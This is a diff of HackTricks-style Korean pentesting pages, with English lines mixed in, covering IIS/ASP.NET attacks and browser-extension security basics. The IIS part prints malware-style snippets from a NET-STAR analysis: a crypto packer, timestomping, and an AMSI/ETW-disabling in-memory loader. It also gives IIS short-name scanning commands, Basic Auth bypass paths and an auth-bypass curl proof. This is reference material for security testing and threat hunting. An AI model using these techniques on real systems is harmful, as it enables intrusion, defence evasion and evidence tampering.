```
|
||||
패킹/crypto 헬퍼 (Gzip + AES‑ECB + Base64)
|
||||
```csharp
|
||||
using System.Security.Cryptography;
|
||||
|
||||
static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
|
||||
using(var aes = Aes.Create()){
|
||||
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
|
||||
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
|
||||
return t.TransformFinalBlock(data, 0, data.Length);
|
||||
}
|
||||
}
|
||||
|
||||
static string Pack(object obj, byte[] key){
|
||||
// serialize → gzip → AES‑ECB → Base64
|
||||
byte[] raw = Serialize(obj); // your TLV/JSON/msgpack
|
||||
using var ms = new MemoryStream();
|
||||
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
|
||||
byte[] enc = AesEcb(ms.ToArray(), key, true);
|
||||
return Convert.ToBase64String(enc);
|
||||
}
|
||||
|
||||
static T Unpack<T>(string b64, byte[] key){
|
||||
byte[] enc = Convert.FromBase64String(b64);
|
||||
byte[] cmp = AesEcb(enc, key, false);
|
||||
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
|
||||
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
|
||||
return Deserialize<T>(outMs.ToArray());
|
||||
}
|
||||
```
|
||||
Cookie/session 흐름 및 명령 인터페이스
|
||||
- Session bootstrap 및 tasking은 cookies를 통해 전달되어 정상적인 웹 활동과 섞이도록 합니다.
|
||||
- 현장에서 관찰된 명령에는 다음이 포함됩니다: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; 및 메모리 내 .NET 실행을 위한 동적 실행 원시인 code_self, code_pid, run_code.
|
||||
|
||||
Timestomping 유틸리티
|
||||
```csharp
|
||||
File.SetCreationTime(path, ts);
|
||||
File.SetLastWriteTime(path, ts);
|
||||
File.SetLastAccessTime(path, ts);
|
||||
```
|
||||
Assembly.Load 호출 전에 AMSI/ETW를 인라인으로 비활성화하기 (loader variant)
|
||||
```csharp
|
||||
// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
|
||||
// and ntdll!EtwEventWrite to a stub; then load operator assembly
|
||||
DisableAmsi();
|
||||
DisableEtw();
|
||||
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });
|
||||
```
|
||||
See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md
|
||||
|
||||
Hunting notes (defenders)
|
||||
- 단일의 이상한 ASPX 페이지로 매우 긴 Base64/Gzip 블롭이 존재; 쿠키가 많은 POST 요청.
|
||||
- w3wp.exe 내부의 unbacked managed modules; "Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run" 같은 문자열들.
|
||||
- 트래픽에 "STAR" 같은 반복 구분자; ASPX/assemblies에 불일치하거나 심지어 미래 시점의 타임스탬프.
|
||||
|
||||
## Old IIS vulnerabilities worth looking for
|
||||
|
||||
|
||||
### Microsoft IIS tilde character “\~” Vulnerability/Feature – Short File/Folder Name Disclosure
|
||||
|
||||
이 기술을 사용하면 발견한 각 폴더 내부의 폴더와 파일을 열거해볼 수 있다(심지어 Basic Authentication이 필요한 경우에도).\
|
||||
이 취약한 서버에서 이 기법의 주요 제한은 각 파일/폴더 이름의 처음 6글자와 파일 확장자의 처음 3글자까지만 찾을 수 있다는 점이다.
|
||||
|
||||
You can use [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) to test for this vulnerability:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
.png>)
|
||||
|
||||
원본 연구: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
|
||||
|
||||
**metasploit**를 사용할 수도 있습니다: `use scanner/http/iis_shortname_scanner`
|
||||
You can also use metasploit: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
발견된 파일의 **최종 이름을 찾는** 좋은 방법은 **LLM에게** 옵션을 요청하는 것입니다. 이는 스크립트 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)에서 수행됩니다.
|
||||
발견한 파일의 최종 이름을 찾는 좋은 아이디어는 LLMs에 옵션을 물어보는 것인데, 이는 스크립트 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)에서 한 것과 유사하다.
|
||||
|
||||
### 기본 인증 우회
|
||||
### Basic Authentication bypass
|
||||
|
||||
**IIS 7.5**의 기본 인증을 **우회**하려면 다음에 접근해 보세요: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
Basic Authentication (IIS 7.5)을 우회하려면 다음에 접근을 시도해 보자: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php`
|
||||
|
||||
이 **취약점**과 마지막 취약점을 **혼합**하여 새로운 **폴더**를 찾고 인증을 **우회**할 수 있습니다.
|
||||
이 취약점과 앞서 설명한 취약점을 조합하여 새로운 폴더를 찾고 인증을 우회해 볼 수 있다.
|
||||
|
||||
## ASP.NET Trace.AXD 활성화된 디버깅
|
||||
## ASP.NET Trace.AXD enabled debugging
|
||||
|
||||
ASP.NET은 디버깅 모드를 포함하며, 그 파일은 `trace.axd`라고 불립니다.
|
||||
ASP.NET은 디버깅 모드를 포함하고 있으며 해당 파일은 `trace.axd`라고 불린다.
|
||||
|
||||
이 파일은 일정 기간 동안 애플리케이션에 대한 모든 요청의 매우 상세한 로그를 유지합니다.
|
||||
이는 일정 기간 동안 애플리케이션에 대해 이루어진 모든 요청의 매우 상세한 로그를 보관한다.
|
||||
|
||||
이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보, 그리고 잠재적으로 사용자 이름과 비밀번호가 포함됩니다.
|
||||
이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보, 그리고 잠재적으로는 사용자명과 비밀번호까지 포함된다.
|
||||
|
||||
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
||||
|
||||

|
||||
|
||||
## ASPXAUTH 쿠키
|
||||
## ASPXAUTH Cookie
|
||||
|
||||
ASPXAUTH는 다음 정보를 사용합니다:
|
||||
ASPXAUTH는 다음 정보를 사용한다:
|
||||
|
||||
- **`validationKey`** (문자열): 서명 검증에 사용할 헥스 인코딩된 키.
|
||||
- **`decryptionMethod`** (문자열): (기본값 “AES”).
|
||||
- **`decryptionIV`** (문자열): 헥스 인코딩된 초기화 벡터(기본값은 제로 벡터).
|
||||
- **`decryptionKey`** (문자열): 복호화에 사용할 헥스 인코딩된 키.
|
||||
- **`validationKey`** (string): 서명 검증에 사용하는 hex 인코딩된 키.
|
||||
- **`decryptionMethod`** (string): (기본값 “AES”).
|
||||
- **`decryptionIV`** (string): hex 인코딩된 초기화 벡터(기본값은 0으로 채워진 벡터).
|
||||
- **`decryptionKey`** (string): 복호화에 사용하는 hex 인코딩된 키.
|
||||
|
||||
그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **동일한 플랫폼**의 웹을 찾고, 공격 대상 서버에서 **가짜 사용자로 가장하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 가장할 수 있습니다.**\
|
||||
이 공격은 이 [**작성물**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공적으로 수행되었습니다.
|
||||
하지만 일부는 이러한 매개변수들의 기본값을 사용하고 쿠키에 사용자 이메일을 사용하는 경우가 있다. 따라서 동일 플랫폼을 사용하며 ASPXAUTH 쿠키를 사용하는 다른 웹을 찾아서, 공격 대상 서버에서 가장하고 싶은 사용자의 이메일로 계정을 생성할 수 있다면, 두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 가장할 수 있을지도 모른다.\
|
||||
이 공격은 이 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공했다.
|
||||
|
||||
## 캐시된 비밀번호로 IIS 인증 우회 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
## IIS Authentication Bypass with cached passwords (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 **캐시**에 이미 있는 키에 해당하는 공격자는 해당 사용자로 로그인할 수 있습니다.
|
||||
[Full report here](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그로 인해 사용자가 제공한 비밀번호를 제대로 검사하지 않았고, 따라서 공격자가 자신의 비밀번호 해시가 캐시에 이미 존재하는 키와 일치하면 그 사용자로 로그인할 수 있다 .
|
||||
```python
|
||||
# script for sanity check
|
||||
> type test.py
|
||||
@ -261,4 +377,9 @@ HTTP/1.1 401 Unauthorized
|
||||
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
||||
HTTP/1.1 200 OK
|
||||
```
|
||||
## 참고자료
|
||||
|
||||
- [Unit 42 – Phantom Taurus: A New Chinese Nexus APT and the Discovery of the NET-STAR Malware Suite](https://unit42.paloaltonetworks.com/phantom-taurus/)
|
||||
- [AMSI/ETW bypass background (HackTricks)](../../windows-hardening/av-bypass.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,43 +1,43 @@
|
||||
# 브라우저 확장 펜테스팅 방법론
|
||||
# 브라우저 확장 Pentesting Methodology
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 기본 정보
|
||||
|
||||
브라우저 확장은 JavaScript로 작성되며 브라우저에 의해 백그라운드에서 로드됩니다. 자체 [DOM](https://www.w3schools.com/js/js_htmldom.asp)을 가지고 있지만 다른 사이트의 DOM과 상호작용할 수 있습니다. 이는 다른 사이트의 기밀성, 무결성 및 가용성(CIA)을 위협할 수 있음을 의미합니다.
|
||||
Browser extensions은 JavaScript로 작성되며 브라우저에 의해 백그라운드에서 로드됩니다. 확장에는 자체 [DOM](https://www.w3schools.com/js/js_htmldom.asp)이 있지만 다른 사이트의 DOM과 상호작용할 수 있습니다. 이는 다른 사이트의 기밀성, 무결성 및 가용성 (CIA)을 침해할 수 있음을 의미합니다.
|
||||
|
||||
## 주요 구성 요소
|
||||
|
||||
확장 레이아웃은 시각화할 때 가장 잘 보이며 세 가지 구성 요소로 구성됩니다. 각 구성 요소를 자세히 살펴보겠습니다.
|
||||
Extension layouts는 시각화했을 때 가장 잘 보이며 세 가지 구성 요소로 이루어져 있습니다. 각 구성 요소를 자세히 살펴보겠습니다.
|
||||
|
||||
<figure><img src="../../images/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
|
||||
|
||||
### **콘텐츠 스크립트**
|
||||
### **Content Scripts**
|
||||
|
||||
각 콘텐츠 스크립트는 **단일 웹 페이지**의 DOM에 직접 접근할 수 있으며, 따라서 **잠재적으로 악의적인 입력**에 노출됩니다. 그러나 콘텐츠 스크립트는 확장 코어에 메시지를 전송할 수 있는 능력 외에는 권한이 없습니다.
|
||||
각 content script는 **단일 웹 페이지**의 DOM에 직접 접근할 수 있으므로 **잠재적으로 악성 입력**에 노출됩니다. 그러나 content script는 extension core에 메시지를 보내는 기능 이외의 권한은 포함하지 않습니다.
|
||||
|
||||
### **확장 코어**
|
||||
### **Extension Core**
|
||||
|
||||
확장 코어는 대부분의 확장 권한/접근을 포함하지만, 확장 코어는 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 및 콘텐츠 스크립트를 통해서만 웹 콘텐츠와 상호작용할 수 있습니다. 또한, 확장 코어는 호스트 머신에 직접 접근할 수 없습니다.
|
||||
extension core는 확장의 대부분의 권한/접근을 포함하지만, extension core는 웹 콘텐츠와 [XMLHttpRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest) 및 content scripts를 통해서만 상호작용할 수 있습니다. 또한 extension core는 호스트 머신에 직접 접근할 수 없습니다.
|
||||
|
||||
### **네이티브 바이너리**
|
||||
### **Native Binary**
|
||||
|
||||
확장은 **사용자의 전체 권한으로 호스트 머신에 접근할 수 있는 네이티브 바이너리**를 허용합니다. 네이티브 바이너리는 Flash 및 기타 브라우저 플러그인에서 사용되는 표준 Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI))를 통해 확장 코어와 상호작용합니다.
|
||||
확장은 사용자의 전체 권한으로 호스트 머신에 접근할 수 있는 native binary를 허용할 수 있습니다. native binary는 Flash 및 기타 브라우저 플러그인에서 사용되는 표준 Netscape Plugin Application Programming Interface ([NPAPI](https://en.wikipedia.org/wiki/NPAPI))를 통해 extension core와 상호작용합니다.
|
||||
|
||||
### 경계
|
||||
|
||||
> [!CAUTION]
|
||||
> 사용자의 전체 권한을 얻으려면 공격자는 확장에게 콘텐츠 스크립트에서 확장 코어로, 그리고 확장 코어에서 네이티브 바이너리로 악의적인 입력을 전달하도록 설득해야 합니다.
|
||||
> 사용자의 전체 권한을 얻으려면, 공격자는 content script에서 extension core로, 그리고 extension core에서 native binary로 악성 입력을 전달하도록 확장을 설득해야 합니다.
|
||||
|
||||
확장의 각 구성 요소는 **강력한 보호 경계**로 서로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. 콘텐츠 스크립트와 확장 코어는 대부분의 운영 체제 서비스에서 사용할 수 없는 **샌드박스 프로세스**에서 실행됩니다.
|
||||
확장의 각 구성 요소는 서로 간에 **강력한 보호 경계**로 분리되어 있습니다. 각 구성 요소는 **별도의 운영 체제 프로세스**에서 실행됩니다. Content scripts와 extension cores는 대부분의 운영 체제 서비스에서 사용할 수 없는 **sandbox 프로세스**에서 실행됩니다.
|
||||
|
||||
또한, 콘텐츠 스크립트는 **별도의 JavaScript 힙**에서 실행되어 관련 웹 페이지와 분리됩니다. 콘텐츠 스크립트와 웹 페이지는 **같은 기본 DOM에 접근**할 수 있지만, 두 개는 **JavaScript 포인터를 교환하지 않**아 JavaScript 기능의 유출을 방지합니다.
|
||||
더욱이, content scripts는 연관된 웹 페이지와 **별도의 JavaScript 힙에서 실행**됨으로써 분리됩니다. content script와 웹 페이지는 **동일한 기본 DOM에 접근**할 수 있지만, 두 객체는 **절대 JavaScript 포인터를 교환하지 않으며**, 이는 JavaScript 기능의 leaking을 방지합니다.
|
||||
|
||||
## **`manifest.json`**
|
||||
|
||||
Chrome 확장은 단순히 [.crx 파일 확장자](https://www.lifewire.com/crx-file-2620391)를 가진 ZIP 폴더입니다. 확장의 코어는 폴더의 루트에 있는 **`manifest.json`** 파일로, 레이아웃, 권한 및 기타 구성 옵션을 지정합니다.
|
||||
A Chrome extension은 [.crx file extension](https://www.lifewire.com/crx-file-2620391)을 가진 단순한 ZIP 폴더입니다. 확장의 핵심은 폴더 루트에 있는 **`manifest.json`** 파일로, 레이아웃, 권한 및 기타 구성 옵션을 지정합니다.
|
||||
|
||||
예:
|
||||
Example:
|
||||
```json
|
||||
{
|
||||
"manifest_version": 2,
|
||||
@ -61,7 +61,7 @@ Chrome 확장은 단순히 [.crx 파일 확장자](https://www.lifewire.com/crx-
|
||||
```
|
||||
### `content_scripts`
|
||||
|
||||
Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다** **로드**됩니다. 이 경우 **`https://example.com/*`** 표현과 일치하지만 **`*://*/*/business*`** 정규 표현식과 일치하지 않는 모든 페이지가 해당됩니다. 이들은 **페이지의 자체 스크립트처럼** 실행되며 페이지의 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)에 임의로 접근할 수 있습니다.
|
||||
Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다** **로드됩니다**. 우리의 경우 **`https://example.com/*`** 표현과 일치하고 **`*://*/*/business*`** 정규식과 일치하지 않는 모든 페이지가 해당됩니다. 이들은 **페이지의 고유한 스크립트처럼 실행되며** 페이지의 [Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)에 임의로 접근할 수 있습니다.
|
||||
```json
|
||||
"content_scripts": [
|
||||
{
|
||||
@ -76,9 +76,9 @@ Content scripts는 사용자가 **일치하는 페이지로 이동할 때마다*
|
||||
}
|
||||
],
|
||||
```
|
||||
더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다.
|
||||
더 많은 URL을 포함하거나 제외하려면 **`include_globs`**와 **`exclude_globs`**를 사용할 수도 있습니다.
|
||||
|
||||
다음은 [저장소 API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 검색할 때 페이지에 설명 버튼을 추가하는 예제 콘텐츠 스크립트입니다.
|
||||
다음은 [the storage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)를 사용하여 확장 프로그램의 저장소에서 `message` 값을 가져올 때 페이지에 explain 버튼을 추가하는 예시 content script입니다.
|
||||
```js
|
||||
chrome.storage.local.get("message", (result) => {
|
||||
let div = document.createElement("div")
|
||||
@ -91,24 +91,24 @@ document.body.appendChild(div)
|
||||
```
|
||||
<figure><img src="../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 버튼이 클릭되면 콘텐츠 스크립트를 통해 확장 페이지로 메시지가 전송됩니다. 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 활용한 것입니다. 콘텐츠 스크립트는 API에 직접 접근하는 데 제한이 있으며, `storage`가 몇 가지 예외 중 하나입니다. 이러한 예외를 넘어서는 기능을 위해서는 콘텐츠 스크립트가 통신할 수 있는 확장 페이지로 메시지가 전송됩니다.
|
||||
이 버튼이 클릭되면 content script에 의해 extension pages로 메시지가 전송되며, 이는 [**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)를 이용해서 이루어진다. 이는 content script가 API에 직접 접근하는 데 제한이 있기 때문이며, `storage`는 그 몇 안 되는 예외 중 하나다. 이러한 예외를 벗어나는 기능들은 extension pages로 메시지를 보내어 content scripts가 통신하게 된다.
|
||||
|
||||
> [!WARNING]
|
||||
> 브라우저에 따라 콘텐츠 스크립트의 기능이 약간 다를 수 있습니다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있으며, Firefox의 경우 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)이 주요 출처입니다.\
|
||||
> 또한 콘텐츠 스크립트는 백그라운드 스크립트와 통신할 수 있는 능력이 있어, 작업을 수행하고 응답을 전달할 수 있습니다.
|
||||
> 브라우저에 따라 content script의 기능이 약간씩 다를 수 있다. Chromium 기반 브라우저의 경우 기능 목록은 [Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content_scripts/#capabilities)에서 확인할 수 있고, Firefox의 경우 주요 출처는 [MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_scripts#webextension_apis)이다.\
|
||||
> 또한 content scripts는 background scripts와 통신할 수 있어 작업을 수행하고 응답을 다시 전달할 수 있다는 점도 주목할 만하다.
|
||||
|
||||
Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개발자 도구 메뉴에 접근할 수 있습니다: 옵션 > 추가 도구 > 개발자 도구 또는 Ctrl + Shift + I를 눌러서 접근할 수 있습니다.
|
||||
Chrome에서 content scripts를 보고 디버깅하려면 Chrome developer tools 메뉴에서 Options > More tools > Developer tools로 이동하거나 Ctrl + Shift + I를 눌러 개발자 도구를 열면 된다.
|
||||
|
||||
개발자 도구가 표시되면 **소스 탭**을 클릭한 후 **콘텐츠 스크립트** 탭을 클릭합니다. 이를 통해 다양한 확장에서 실행 중인 콘텐츠 스크립트를 관찰하고 실행 흐름을 추적하기 위해 중단점을 설정할 수 있습니다.
|
||||
개발자 도구가 표시되면 **Source tab**을 클릭한 다음 **Content Scripts** 탭을 클릭한다. 이를 통해 여러 확장 프로그램에서 실행 중인 content scripts를 관찰하고 브레이크포인트를 설정해 실행 흐름을 추적할 수 있다.
|
||||
|
||||
### 주입된 콘텐츠 스크립트
|
||||
### 주입된 content scripts
|
||||
|
||||
> [!TIP]
|
||||
> **콘텐츠 스크립트는 필수적이지 않**으며, **동적으로** 스크립트를 **주입**하거나 **프로그래밍 방식으로 주입**할 수 있습니다. 이는 **`tabs.executeScript`**를 통해 웹 페이지에 가능합니다. 이는 실제로 더 **세밀한 제어**를 제공합니다.
|
||||
> 참고로 **Content Scripts aren't mandatory** — 웹페이지에 스크립트를 **동적으로** inject하거나 프로그래밍 방식으로 inject하는 것이 가능하며, 이를 통해 **tabs.executeScript**를 사용해 주입할 수 있다. 이는 실제로 더 **세밀한 제어**를 제공한다.
|
||||
|
||||
콘텐츠 스크립트를 프로그래밍 방식으로 주입하려면 확장이 스크립트를 주입할 페이지에 대한 [호스트 권한](https://developer.chrome.com/docs/extensions/reference/permissions)을 가져야 합니다. 이러한 권한은 확장의 매니페스트 내에서 **요청**하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)을 통해 임시로 확보할 수 있습니다.
|
||||
content script를 프로그래밍 방식으로 주입하려면, 확장은 스크립트를 주입하려는 페이지에 대한 [host permissions](https://developer.chrome.com/docs/extensions/reference/permissions)를 가지고 있어야 한다. 이러한 권한은 확장 manifest 내에서 **요청**하여 확보하거나 [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)를 통해 임시로 얻을 수 있다.
|
||||
|
||||
#### 예제 activeTab 기반 확장
|
||||
#### activeTab 기반 확장 예제
|
||||
```json:manifest.json
|
||||
{
|
||||
"name": "My extension",
|
||||
@ -125,7 +125,7 @@ Chrome에서 콘텐츠 스크립트를 보기 및 디버깅하려면 Chrome 개
|
||||
}
|
||||
}
|
||||
```
|
||||
- **클릭 시 JS 파일 주입:**
|
||||
- **클릭 시 JS 파일 Inject:**
|
||||
```javascript
|
||||
// content-script.js
|
||||
document.body.style.backgroundColor = "orange"
|
||||
@ -138,7 +138,7 @@ files: ["content-script.js"],
|
||||
})
|
||||
})
|
||||
```
|
||||
- **클릭 시 함수 주입:**
|
||||
- **함수 주입** 클릭 시:
|
||||
```javascript
|
||||
//service-worker.js - Inject a function
|
||||
function injectedFunction() {
|
||||
@ -152,7 +152,7 @@ func: injectedFunction,
|
||||
})
|
||||
})
|
||||
```
|
||||
#### 스크립팅 권한을 이용한 예제
|
||||
#### 스크립팅 권한 예시
|
||||
```javascript
|
||||
// service-workser.js
|
||||
chrome.scripting.registerContentScripts([
|
||||
@ -167,19 +167,19 @@ js: ["contentScript.js"],
|
||||
// Another example
|
||||
chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||
```
|
||||
더 많은 URL을 포함하거나 제외하려면 **`include_globs`** 및 **`exclude_globs`**를 사용할 수도 있습니다.
|
||||
In order to include or exclude more URLs it's also possible to use **`include_globs`** and **`exclude_globs`**.
|
||||
|
||||
### 콘텐츠 스크립트 `run_at`
|
||||
|
||||
`run_at` 필드는 **JavaScript 파일이 웹 페이지에 주입되는 시점**을 제어합니다. 선호되는 기본 값은 `"document_idle"`입니다.
|
||||
The `run_at` field controls **언제 JavaScript 파일이 웹 페이지에 주입되는지**. The preferred and default value is `"document_idle"`.
|
||||
|
||||
가능한 값은 다음과 같습니다:
|
||||
The possible values are:
|
||||
|
||||
- **`document_idle`**: 가능한 경우 언제든지
|
||||
- **`document_start`**: `css`의 파일이 로드된 후, 그러나 다른 DOM이 구성되거나 다른 스크립트가 실행되기 전에.
|
||||
- **`document_end`**: DOM이 완성된 직후, 그러나 이미지 및 프레임과 같은 하위 리소스가 로드되기 전에.
|
||||
- **`document_idle`**: 가능한 경우
|
||||
- **`document_start`**: `css`의 파일들 이후에, 하지만 다른 DOM이 구성되거나 다른 스크립트가 실행되기 전에.
|
||||
- **`document_end`**: DOM이 완성된 직후이지만, 이미지나 프레임 같은 하위 리소스가 로드되기 전.
|
||||
|
||||
#### `manifest.json`을 통해
|
||||
#### `manifest.json`에서
|
||||
```json
|
||||
{
|
||||
"name": "My extension",
|
||||
@ -195,7 +195,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" })
|
||||
}
|
||||
|
||||
```
|
||||
**`service-worker.js`**를 통해
|
||||
다음 파일인 **`service-worker.js`**를 통해
|
||||
```javascript
|
||||
chrome.scripting.registerContentScripts([
|
||||
{
|
||||
@ -208,16 +208,16 @@ js: ["contentScript.js"],
|
||||
```
|
||||
### `background`
|
||||
|
||||
내용 스크립트에서 전송된 메시지는 **background page**에서 수신되며, 이는 확장 구성 요소를 조정하는 중앙 역할을 합니다. 특히, background page는 확장의 수명 동안 지속되며, 사용자와의 직접적인 상호작용 없이 조용히 작동합니다. 자체 Document Object Model (DOM)을 가지고 있어 복잡한 상호작용 및 상태 관리를 가능하게 합니다.
|
||||
content scripts가 보낸 메시지는 확장 프로그램의 구성 요소를 조정하는 중심 역할을 하는 **백그라운드 페이지**에서 수신됩니다. 특히, 백그라운드 페이지는 확장 프로그램의 수명 동안 지속적으로 존재하며 사용자가 직접 상호작용하지 않아도 조용히 동작합니다. 자체 Document Object Model (DOM)을 가지므로 복잡한 상호작용과 상태 관리를 수행할 수 있습니다.
|
||||
|
||||
**주요 사항**:
|
||||
**핵심 포인트**:
|
||||
|
||||
- **Background Page 역할:** 확장의 신경 센터 역할을 하여 다양한 확장 부분 간의 통신 및 조정을 보장합니다.
|
||||
- **지속성:** 사용자에게는 보이지 않지만 확장의 기능에 필수적인 항상 존재하는 개체입니다.
|
||||
- **자동 생성:** 명시적으로 정의되지 않은 경우, 브라우저는 자동으로 background page를 생성합니다. 이 자동 생성된 페이지는 확장 매니페스트에 지정된 모든 background 스크립트를 포함하여 확장의 백그라운드 작업이 원활하게 작동하도록 보장합니다.
|
||||
- **백그라운드 페이지 역할:** 확장 프로그램의 다양한 부분 간 통신과 조정을 보장하는 신경중추 역할을 합니다.
|
||||
- **지속성:** 사용자에게는 보이지 않지만 확장 기능의 동작에 필수적인 상시 존재입니다.
|
||||
- **자동 생성:** 명시적으로 정의되지 않으면 브라우저가 자동으로 백그라운드 페이지를 생성합니다. 이 자동 생성된 페이지에는 확장 프로그램의 manifest에 지정된 모든 백그라운드 스크립트가 포함되어 확장 기능의 백그라운드 작업이 원활하게 실행되도록 합니다.
|
||||
|
||||
> [!TIP]
|
||||
> 명시적으로 선언되지 않은 경우 브라우저가 background page를 자동으로 생성하는 편리함은 모든 필요한 background 스크립트가 통합되고 작동하도록 보장하여 확장 설정 프로세스를 간소화합니다.
|
||||
> 브라우저가 (명시적으로 선언되지 않았을 때) 백그라운드 페이지를 자동으로 생성해 주는 편의성은 필요한 모든 백그라운드 스크립트가 통합되어 작동하도록 하여 확장 설정 과정을 간소화합니다.
|
||||
|
||||
Example background script:
|
||||
```js
|
||||
@ -227,34 +227,60 @@ chrome.tabs.create({ url: "https://example.net/explanation" })
|
||||
}
|
||||
})
|
||||
```
|
||||
메시지를 수신하기 위해 [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage)를 사용합니다. `"explain"` 메시지를 수신하면, [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)를 사용하여 새 탭에서 페이지를 엽니다.
|
||||
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
|
||||
|
||||
백그라운드 스크립트를 디버깅하려면 **확장 세부정보로 이동하여 서비스 워커를 검사**할 수 있으며, 이렇게 하면 백그라운드 스크립트와 함께 개발자 도구가 열립니다:
|
||||
이는 [runtime.onMessage API]를 사용해 메시지를 수신합니다. `"explain"` 메시지를 받으면 [tabs API]를 사용해 새 탭에서 페이지를 엽니다.
|
||||
|
||||
To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script:
|
||||
|
||||
background script을 디버그하려면 **확장 프로그램 세부 정보에서 service worker를 검사**하면 개발자 도구에서 background script가 열립니다:
|
||||
|
||||
